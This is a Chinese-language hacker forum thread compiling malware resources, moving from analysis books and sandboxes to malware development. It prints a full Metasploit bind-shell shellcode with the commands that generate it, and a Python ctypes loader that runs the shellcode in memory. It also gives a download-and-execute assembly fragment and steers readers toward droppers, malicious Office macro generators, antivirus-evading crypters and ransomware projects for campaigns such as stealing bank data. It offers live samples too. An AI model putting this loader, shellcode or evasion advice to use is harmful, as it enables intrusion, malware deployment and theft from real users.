大家好,我是by鬼神。我想让这个线程成为一种关于任何与恶意软件有关的信息转储。从恶意软件开发到逆向工程和分析所述恶意软件。我将发布关于示例、我多年来制作的一些脚本以及我过去工作过的项目和示例的一般摘要。我还将发布一些我认为有用的书籍,以及诸如专业发行版之类的东西。
我会鼓励中国红客联盟任何新人任何有趣信息的人添加学习。如果我们不添加尽可能多的资源,它就不会是一个大型线程。
希望各位小伙伴可以支持我,提出宝贵的建议并评论到下方,我会一起和大家交流探讨
目录
- 1. 分析和 RevEng 资源
- 2. 样本、开源和其他
- 3. MalDev 资源、技术和技巧
- 4. 部署和编码
- 5. 杂项
1. 分析和逆向工程资源
我个人更关注事物的开发方面,但我遇到了一些资源,我认为这些资源对任何试图深入分析方面的人都有用。当然首先;实用恶意软件分析http://venom630.free.fr/pdf/Practical_Malware_Analysis.pdf。是有抱负的分析师的圣经。它配有练习和示例。最佳实践并传授扎实的基础知识。在我看来,这是一个很好的起点。
这些演示幻灯片https://www.blackhat.com/presentations/bh-dc-07/Kendall_McMillan/Presentation/bh-dc-07-Kendall_McMillan.pdf我发现的这些内容提供了一些工具、技术和程序的快速概述,您在开始任何类型的恶意软件分析工作之前需要了解这些工具、技术和程序。它讨论了一些要点,例如通过实施平台多样性来降低风险。例如在 VM 中使用不同的操作系统或以其他方式进行技术侦探工作。它介绍了一些 VM 基础知识,并介绍了如何创建安全环境等。
基本上,它总结了许多需要考虑的重要事项。它可用作参考指南以及实用恶意软件分析电子书。
说到虚拟化,我非常喜欢 VMware。他们提供免费版本http://33h.co/wtpdt他们的产品称为 VMware Player。根据我的经验,这对于在不同平台上测试恶意软件非常有用。如果您负担得起 200 美元的价格,名为 VMware Workstation 的付费版本提供了更多可能对您有用的功能。
我喜欢偶尔在 VM 中使用 Windows 来测试某些类型的恶意软件。幸运的是,可以直接从 Microsoft 自己的网站获得该操作系统的免费图像。单击此处http://adkx.net/wtpd0查看可用版本。
如果您想在您的虚拟 Windows 机器上执行一些逆向工程,请查看OllyDBG。http://www.ollydbg.de/我特别喜欢在 Windows 上使用这个调试器。单击此处http://www.ollydbg.de/quickst.htm可以找到快速入门指南。
从平台多样性的角度来看,您可能还希望在 Linux 上执行其中一些任务。在这种情况下,您可能对 REMnux 感兴趣。这是一个 Linux 发行版,它在构建时考虑了逆向工程师的需求,它预装了一堆工具。在下面的链接中查看发行版。
https://remnux.org/#distro
可以在此处的链接中找到快速工具概述;
https://remnux.org/#tools
据我所知,它没有带有 GUI 的调试器。然而,有一些带有图形用户界面的 Linux 调试器。例如,我喜欢 EDB-Debugger,它是我首选的 Linux 调试器。如果我没记错的话,它是基于 OllyDBG 的。下面我发布了一个 shell 脚本,如果您有兴趣,它可以自动安装 EDB-Debuger。
[Shell] 纯文本查看 复制代码 #!/bin/bash
# install dependencies
sudo apt-get install \
cmake \
build-essential \
libboost-dev \
libqt5xmlpatterns5-dev \
qtbase5-dev \
qt5-default \
libqt5svg5-dev \
libgraphviz-dev \
libcapstone-dev
# build and run edb
git clone --recursive https://github.com/eteran/edb-debugger.git
cd edb-debugger
mkdir build
cd build
cmake ..
make
# Comment this last one out if you don't want to run EDB after installation
./edb
这个 shell 脚本的作用是安装您需要的所有依赖项,然后它从源代码构建调试器并为您启动它。如果它从您的主目录运行,则 EDB 目录也将位于您的 /home/ 中。在这种情况下,您可以通过在终端中键入以下内容来使用别名从命令行启动它。
[Shell] 纯文本查看 复制代码 alias edb="cd ~/edb-debugger/build && ./edb"
现在,当您输入 `edb` 时,它会为您启动。或者,您也可以创建符号链接。但我发现一个简单的别名在这种情况下同样有效。
要结束此类别,请确保您在 github 上为以下存储库添加书签。
https://github.com/rshipp/awesome-malware-analysis
顾名思义,该存储库包含精选的恶意软件分析工具和资源列表。绝对值得一试!
2. 样本、开源和其他
有很多地方可以找到一些有趣的样本来玩。我将从一些可以在 Github 上找到的资源开始。
我在我的 Github 上有一个分叉的 repo,其中包含可以从 Github 和其他几个地方下载的 Rootkit 列表。看看下面。
https://github.com/NullArray/RootKits-List-Download
此外,我还编制了一小部分提供恶意软件样本的站点列表。
http://www.kernelmode.info/forum/viewforum.php?f=16
https://virusshare.com/
https://www.scumware.org/index.scumware
http://malc0de.com/database/
http://labs.sucuri.net/?malware
https://zeustracker.abuse.ch/monitor.php...e=binaries
或者,我最近在 Github 上遇到了一个项目,该项目通过自动搜索多个站点来查找恶意软件样本。它有点过时了,我个人还没有使用过它,但我认为无论如何它都值得一提,所以这是该工具。https://github.com/krmaxwell/maltrieve
更重要的是,我目前拥有大约 50 个恶意文件和程序。其中木马、键盘记录器、蠕虫等。如果你想看看我的收藏是否有你感兴趣的东西,看看这个粘贴,我张贴了我目前拥有的粗略列表。如果您想收到我的一个或多个样品,请给我发送一个 PM。
https://pastebin.com/dXetvYKk
3. MalDev、资源、技术和技巧。
我将通过发布几本书来开始本节。由于我们将讨论恶意软件开发,因此我决定为此线程编译一些与汇编、内核开发、Shellcode 相关的资源,并且由于我是一名 Python 程序员,因此我还将添加一些处理 MalDev 的电子书Python。
内核开发:攻击核心。http://33h.co/wtpg7处理从 shell 代码到 CPU 架构、一般内核审计和滥用 Linux 特权模型的所有内容。您可能希望并入恶意软件的技术,例如 rootkit。
接下来,我收集了一系列深入研究组装世界的电子书。我曾考虑将其放在逆向工程部分,但我认为擅长汇编对分析师和开发人员来说也是一个加分项。出于这个原因,我最近一直在尝试更多地了解它。现在,不可否认,我对它没有很多经验,但我认为无论如何这都会是这个线程的一个很好的补充。有问题的书籍如下:
[AppleScript] 纯文本查看 复制代码 Intel32-2-Instruction Set ReferenceA.pdf
Intel32-2-Instruction Set ReferenceB.pdf
Linux.Assembly.Language.Programming-2000.pdf
Non-Executable Stack ARM Exploitation(def18).pdf
No_NX.pdf
On the Effectiveness of Address-Space Randomization.pdf
pcasm.pdf
The Art Of Assembly Language.pdf
Understanding the Low Fragmentation Heap-BH10.pdf
我已将它们上传到 lewd.se,这将使它们保持 90 天。因此,如果您有兴趣,请点击此处获取它们。但是,这些书籍也可以在位于http://ytxmrc3pcbv5464e.onion/files/Infosec/的安全/黑客压缩文件下的 GreySec 隐藏服务资源池中找到。
我还设法找到了win32 shell 代码http://venom630.free.fr/pdf/win32-shellcode.pdf的介绍指南。http://venom630.free.fr/pdf/win32-shellcode.pdf
我喜欢 shell 代码和转换为 shell 代码的自定义 ASM 的一点是它可以被 Python 使用。更具体地说,使用`ctypes` 模块和代码注入技术。前段时间我在论坛上发了一个关于这个的帖子,后来我改编成一篇中等文章。为了说明如何实现这一点,我还将在此线程中包含我在文章中写的一些信息。
例子; Custom ASM -> Shell Code -> Code Injection with Python
如果您有一个执行特定操作的 ASM 示例,例如生成 OS shell 或从远程主机下载和执行二进制文件,您可能希望在 Python 中使用此功能来创建更强大的软件/恶意软件。
然而,为了做到这一点,我们不能直接将 ASM 复制/粘贴到 Python 脚本中。相反,Python 将机器代码作为 shellcode 的字节数组读取,其中二进制数据由十六进制值表示,其中 \x 表示偏移量。如果您以前使用过 Metasploit 或者有任何其他身份的 shell 代码经验,您可能会认识到这看起来像下面这样。
[Shell] 纯文本查看 复制代码 "\xb8\xee\x7c\x98\x76\xdb\xc6\xd9\x74\x24\xf4\x5b\x31\xc9"
"\xb1\x53\x31\x43\x12\x03\x43\x12\x83\x2d\x78\x7a\x83\x4d"
"\x69\xf8\x6c\xad\x6a\x9d\xe5\x48\x5b\x9d\x92\x19\xcc\x2d"
"\xd0\x4f\xe1\xc6\xb4\x7b\x72\xaa\x10\x8c\x33\x01\x47\xa3"
"\xc4\x3a\xbb\xa2\x46\x41\xe8\x04\x76\x8a\xfd\x45\xbf\xf7"
"\x0c\x17\x68\x73\xa2\x87\x1d\xc9\x7f\x2c\x6d\xdf\x07\xd1"
"\x26\xde\x26\x44\x3c\xb9\xe8\x67\x91\xb1\xa0\x7f\xf6\xfc"
"\x7b\xf4\xcc\x8b\x7d\xdc\x1c\x73\xd1\x21\x91\x86\x2b\x66"
"\x16\x79\x5e\x9e\x64\x04\x59\x65\x16\xd2\xec\x7d\xb0\x91"
"\x57\x59\x40\x75\x01\x2a\x4e\x32\x45\x74\x53\xc5\x8a\x0f"
"\x6f\x4e\x2d\xdf\xf9\x14\x0a\xfb\xa2\xcf\x33\x5a\x0f\xa1"
"\x4c\xbc\xf0\x1e\xe9\xb7\x1d\x4a\x80\x9a\x49\xbf\xa9\x24"
"\x8a\xd7\xba\x57\xb8\x78\x11\xff\xf0\xf1\xbf\xf8\xf7\x2b"
"\x07\x96\x09\xd4\x78\xbf\xcd\x80\x28\xd7\xe4\xa8\xa2\x27"
"\x08\x7d\x5e\x2f\xaf\x2e\x7d\xd2\x0f\x9f\xc1\x7c\xf8\xf5"
"\xcd\xa3\x18\xf6\x07\xcc\xb1\x0b\xa8\xd0\x82\x85\x4e\x7e"
"\x15\xc0\xd9\x16\xd7\x37\xd2\x81\x28\x12\x4a\x25\x60\x74"
"\x4d\x4a\x71\x52\xf9\xdc\xfa\xb1\x3d\xfd\xfc\x9f\x15\x6a"
"\x6a\x55\xf4\xd9\x0a\x6a\xdd\x89\xaf\xf9\xba\x49\xb9\xe1"
"\x14\x1e\xee\xd4\x6c\xca\x02\x4e\xc7\xe8\xde\x16\x20\xa8"
"\x04\xeb\xaf\x31\xc8\x57\x94\x21\x14\x57\x90\x15\xc8\x0e"
"\x4e\xc3\xae\xf8\x20\xbd\x78\x56\xeb\x29\xfc\x94\x2c\x2f"
"\x01\xf1\xda\xcf\xb0\xac\x9a\xf0\x7d\x39\x2b\x89\x63\xd9"
"\xd4\x40\x20\xe9\x9e\xc8\x01\x62\x47\x99\x13\xef\x78\x74"
"\x57\x16\xfb\x7c\x28\xed\xe3\xf5\x2d\xa9\xa3\xe6\x5f\xa2"
"\x41\x08\xf3\xc3\x43"
如前所述,这是由 Metasploit 生成的 shell 代码,这个 shell 代码在执行时会打开目标 Windows 机器上的端口 8899,并侦听通过 TCP 的传入连接。建立连接后,它会生成一个操作系统外壳。您可以通过在 msfconsole 实例中输入以下命令来重现它。
[Shell] 纯文本查看 复制代码 use payload/windows/shell/bind_tcp
set LPORT 8899
generate -b '\x00' -e x86/shikata_ga_nai -f /tmp/payload.txt
这会将生成的 shell 代码保存到 /tmp/ 目录中名为“payload.txt”的文件中。-b 标志省略了坏字符(空字节)的使用,-e 标志将有效负载的编码方案设置为 x86 架构上的“shikata_ga_nai”。更多关于在此处生http://33h.co/wtpgi成有效载荷的信息。http://33h.co/wtpgc
我们可以使用 CreateRemoteThread 方法让这个 shellcode 在我们的目标机器上执行。Python 的“ctypes”库在这方面非常出色。
[Shell] 纯文本查看 复制代码 import os
import ctypes
def execute():
# Bind shell
shellcode = bytearray(
"\xb8\xee\x7c\x98\x76\xdb\xc6\xd9\x74\x24\xf4\x5b\x31\xc9"
"\xb1\x53\x31\x43\x12\x03\x43\x12\x83\x2d\x78\x7a\x83\x4d"
"\x69\xf8\x6c\xad\x6a\x9d\xe5\x48\x5b\x9d\x92\x19\xcc\x2d"
"\xd0\x4f\xe1\xc6\xb4\x7b\x72\xaa\x10\x8c\x33\x01\x47\xa3"
"\xc4\x3a\xbb\xa2\x46\x41\xe8\x04\x76\x8a\xfd\x45\xbf\xf7"
"\x0c\x17\x68\x73\xa2\x87\x1d\xc9\x7f\x2c\x6d\xdf\x07\xd1"
"\x26\xde\x26\x44\x3c\xb9\xe8\x67\x91\xb1\xa0\x7f\xf6\xfc"
"\x7b\xf4\xcc\x8b\x7d\xdc\x1c\x73\xd1\x21\x91\x86\x2b\x66"
"\x16\x79\x5e\x9e\x64\x04\x59\x65\x16\xd2\xec\x7d\xb0\x91"
"\x57\x59\x40\x75\x01\x2a\x4e\x32\x45\x74\x53\xc5\x8a\x0f"
"\x6f\x4e\x2d\xdf\xf9\x14\x0a\xfb\xa2\xcf\x33\x5a\x0f\xa1"
"\x4c\xbc\xf0\x1e\xe9\xb7\x1d\x4a\x80\x9a\x49\xbf\xa9\x24"
"\x8a\xd7\xba\x57\xb8\x78\x11\xff\xf0\xf1\xbf\xf8\xf7\x2b"
"\x07\x96\x09\xd4\x78\xbf\xcd\x80\x28\xd7\xe4\xa8\xa2\x27"
"\x08\x7d\x5e\x2f\xaf\x2e\x7d\xd2\x0f\x9f\xc1\x7c\xf8\xf5"
"\xcd\xa3\x18\xf6\x07\xcc\xb1\x0b\xa8\xd0\x82\x85\x4e\x7e"
"\x15\xc0\xd9\x16\xd7\x37\xd2\x81\x28\x12\x4a\x25\x60\x74"
"\x4d\x4a\x71\x52\xf9\xdc\xfa\xb1\x3d\xfd\xfc\x9f\x15\x6a"
"\x6a\x55\xf4\xd9\x0a\x6a\xdd\x89\xaf\xf9\xba\x49\xb9\xe1"
"\x14\x1e\xee\xd4\x6c\xca\x02\x4e\xc7\xe8\xde\x16\x20\xa8"
"\x04\xeb\xaf\x31\xc8\x57\x94\x21\x14\x57\x90\x15\xc8\x0e"
"\x4e\xc3\xae\xf8\x20\xbd\x78\x56\xeb\x29\xfc\x94\x2c\x2f"
"\x01\xf1\xda\xcf\xb0\xac\x9a\xf0\x7d\x39\x2b\x89\x63\xd9"
"\xd4\x40\x20\xe9\x9e\xc8\x01\x62\x47\x99\x13\xef\x78\x74"
"\x57\x16\xfb\x7c\x28\xed\xe3\xf5\x2d\xa9\xa3\xe6\x5f\xa2"
"\x41\x08\xf3\xc3\x43")
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),
ctypes.c_int(len(shellcode)),
ctypes.c_int(0x3000),
ctypes.c_int(0x40))
buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(ptr),
buf,
ctypes.c_int(len(shellcode)))
ht = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),
ctypes.c_int(0),
ctypes.c_int(ptr),
ctypes.c_int(0),
ctypes.c_int(0),
ctypes.pointer(ctypes.c_int(0)))
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(ht),
ctypes.c_int(-1))
if __name__ == "__main__":
execute()
执行脚本将导致我们定义的 shell 代码在内存中运行。关于代码注入的更多信息在这里http://33h.co/wtp4m
巨型线程
假设您有一些想要以类似方式使用的自定义 ASM。没问题,碰巧有一个 Linux 实用程序可以帮助我们解决这个问题。
例如,这是我使用无关脚本生成的一些编码 ASM。为简洁起见,我不会发布整个程序,而是发布一个示例,以便您了解我们在这里转换的内容。
[Shell] 纯文本查看 复制代码 xor eax,eax
push eax
push 0x22657841
pop eax
shr eax,0x08
push eax
mov eax,0x1d4f211f
mov ebx,0x78614473
xor eax,ebx
push eax
mov eax,0x3c010e70
mov ebx,0x5567524a
xor eax,ebx
push eax
mov eax,0x3c481145
mov ebx,0x78736c6c
xor eax,ebx
push eax
mov eax,0x4a341511
mov ebx,0x6d516d74
完整程序所做的是从远程主机下载二进制文件并运行它。要将其转换为 shellcode 的字节数组,我们将使用名为 objdump 的实用程序和使用 grep 的正则表达式,然后将 shellcode 打印到终端。其命令的结构如下。
[Shell] 纯文本查看 复制代码 objdump -d ./PROGRAM|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
用二进制 ASM 文件替换“PROGRAM”,如果一切顺利,正确的 shellcode 将按以下格式打印到终端。
[Shell] 纯文本查看 复制代码 \x26\xde\x26\x44\x3c\xb9\xe8\x67\x91\xb1\xa0\x7f\xf6\xfc
\x7b\xf4\xcc\x8b\x7d\xdc\x1c\x73\xd1\x21\x91\x86\x2b\x66
\x16\x79\x5e\x9e\x64\x04\x59\x65\x16\xd2\xec\x7d\xb0\x91
\x57\x59\x40\x75\x01\x2a\x4e\x32\x45\x74\x53\xc5\x8a\x0f
剩下的就是将新格式化的代码作为参数添加到 Python 脚本中的 bytearray 方法中,就像这样。
[Shell] 纯文本查看 复制代码 def execute():
shellcode = bytearray(#---SHELLCODE GOES HERE---#)
如果您对学习如何构建基于 Python 的恶意软件感兴趣,请查看以下书籍:Gray Hat python和Black Hat Python。它们涵盖了许多面向安全的一般主题,但特别是 Black hat Python 在本书的后半部分重点关注恶意软件。
如果您对更多基于 Python 的恶意软件示例感兴趣,您可以查看我的Cypher https://github.com/NullArray/Cypher Ransomware、我的朋友 Sithis 的Crypter Ransomware Project或https://github.com/sithis993/Crypter我认为最好的基于 Python 的恶意软件之一,称为PuPy https://github.com/n1nj4sec/pupy
有趣的是,最近在 github 上发布了一个名为 Covertutils 的后门开发框架。它使您可以轻松编写后门、通信等,因此您可以专注于编写实际的有效负载。你可以在这里查看。https://github.com/operatorequals/covertutils
4. 部署和编码
任何恶意软件开发人员都会告诉您,让您的有效负载不被检测到可能是恶意软件活动中最重要的部分。或者任何可能利用恶意软件达到某种目的的活动。例如,无论是监视还是窃取银行信息。
出于这个原因,我决定在这里包含一些可能在这方面有用的资源。
首先在“部署”类别下Dr0p1t 框架https://github.com/D4Vinci/Dr0p1t-Framework可用于创建隐蔽的恶意软件投放器。Dropper 是一种恶意软件,可将其他类型的恶意软件下载到目标机器上。
其次,VBad是https://github.com/Pepitoh/VBad一个完全可定制的 VBA 混淆工具,结合了 MS Office 文档生成器。这是您用来通过恶意 MS Office 文档传播恶意软件的工具类型。在示例中,VBA 脚本被嵌入到 Word 文档中,当宏被激活时,它会将您选择的有效负载下载到受害者的机器并执行它。
第三peCloakCapstone是https://github.com/NullArray/peCloakCapstone一个密码器。该软件用于对您的有效载荷进行编码,以击败 AV 解决方案。它是 PeCloak 的一个分支,最初由 Security Sift 的某个人编写。您可以通过单击此处http://33h.co/wtpna了解原始项目及其运作方式。
5. 杂项
如果您对恶意软件在野外的行为感兴趣,您可能需要考虑设置蜜罐。碰巧有一个很容易部署的,叫做 HoneyPy。在下面查看项目的回购。
https://github.com/foospidy/HoneyPy
HoneyPy 蜜罐也将它们的数据发送到 HoneyDB。它跟踪蜜罐环境中发生的所有活动。它还具有数据可视化服务。看看下面。
https://riskdiscovery.com/honeydb/
为方便起见,我为 HoneyDB 编写了一个命令行界面,以便您可以在舒适的终端上跟踪所有活动。直接从我在 Github 的 repo下载https://github.com/NullArray/Mimir它或者简单地克隆它。
[Shell] 纯文本查看 复制代码 git clone https://github.com/NullArray/Mimir.git
好了先写到这里,写了几个小时,我就不隐藏啦,希望大家看完给我一个回复和支持!
之后我会发布更多优质的文章给大家,无论是书籍、工具、代码片段还是您编写的自定义恶意软件。或者你喜欢使用的技术。我期待着阅读您的贡献!
|